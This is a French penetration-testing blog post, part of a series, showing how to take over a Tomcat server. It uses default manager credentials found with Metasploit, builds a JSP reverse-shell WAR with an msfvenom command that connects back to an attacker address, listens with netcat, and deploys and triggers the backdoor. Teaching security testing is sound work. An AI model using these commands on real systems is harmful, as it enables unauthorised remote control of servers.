Méthodologie d’un test intrusion d’un serveur web en pratique. Partie 3 – La recherche et exploitation de vulnérabilités : Intrusion via le service Tomcat

Publié le par

Petit rappel : si vous désirez faire réaliser un audit, vous trouverez toutes les informations sur mon site : https://resistez-aux-hackeurs.com

Nous allons voir dans cet article, un autre vecteur d’attaque potentiel : Tomcat

 Tomcat est un serveur d’applications, plus précisément un conteneur web libre de servlets et JSP.

Lors de la cartographie des services, un service sur le port 8080 était disponible.

A une certaine époque, les serveurs Tomcat étaient particulièrement appréciés par des auditeurs/cybercriminels, car souvent faciles à pénétrer. En effet, de nombreux serveurs (souvent en interne) utilisent les identifiants administrateurs par défaut qui permettent l’installation d’applications malveillantes.

Pour tester les comptes par défaut du serveur Tomcat, il existe le module metasploit tomcat_mgr_login.

Nous avons détecté que l’identifiant suivant était valide : tomcat/tomcat. La prochaine étape est d’utiliser ses identifiants pour installer une application malveillante (qui nous permet de prendre le contrôle du serveur)

Il existe 2 modules metasploit associés : exploit/multi/tomcat_mgr_upload et exploit/multi/http/tomcat_mgr_deploy. Néanmoins, lors de l’utilisation des modules, une erreur avec metasploit empêche le déploiement d’un shell distant :

Ceci est l’occasion d’apprendre à réaliser le déploiement manuellement J

Méthodologie :

  • Créer une application malicieuse (shell distant)
  • Se connecter au serveur tomcat avec les identifiants détectés précédemment
  • Déployer l’application
  • Obtenir un accès au serveur

Pour créer l’application de prise de contrôle à distance, on utilise le composant msfvenom. MSFvenom Payload Creator ou msfpc est un script Bash qui permet de générer très rapidement des payloads Metasploit.

Plus d’informations sur msfvenom sont disponibles ici : https://www.offensive-security.com/metasploit-unleashed/msfvenom/

Dans le cas présent, nous allons générer un reverse-shell java avec la commande suivante :

Msfvenom –p <payload> LHOST=<adresse_ip_attaquant> LPORT=<port_attaquant> -f <format_de_sortie>

Msfvenom –p java/jsp_shell_reverse_tcp LHOST=192.168.56.1 LPORT=8888 –f war > backdoor.war

Le fichier de sortie (backdoor.war) sera l’application à déployer sur le serveur. Elle contient un script qui réalisera une connexion (reverse-shell) sur notre poste (192.168.56.1) sur le port indiqué (8888).

Attention à noter le nom du fichier jsp dans l’archive WAR créée (nous en aurons besoin pour la suite).

Nous pouvons déjà mettre le port 8888 en écoute (en attente de la connexion) sur notre poste avec la commande : nc –l –v –p 8888

Une fois le script exécuté sur le serveur, si tout se passe bien, celui-ci devrait se connecter automatiquement à notre poste.

L’étape suivante est de se connecter à l’interface tomcat et d’indiquer les identifiants précédemment découverts afin d’accéder à l’interface d’administration :

Une fois sur l’interface d’administration, nous pouvons voir la liste des applications installées et/ou déployées sur le serveur. Dans le menu, il y a aussi une possibilité de déployer d’autres applications. On déploie notre payload généré précédemment (backdoor.war)

Une fois déployé, notre application s’affiche.

Il nous reste maintenant à lancer le script (reverse-shell) : http://<url_tomcat>/<application>/<script.jsp>. Pour se faire on accède à l’url suivante.

Une fois l’url accédée, le script s’exécute et nous constatons qu’une connexion s’est réalisée sur notre poste.

Nous avons désormais un autre accès au serveur.

Recommandation :

 

Views: 213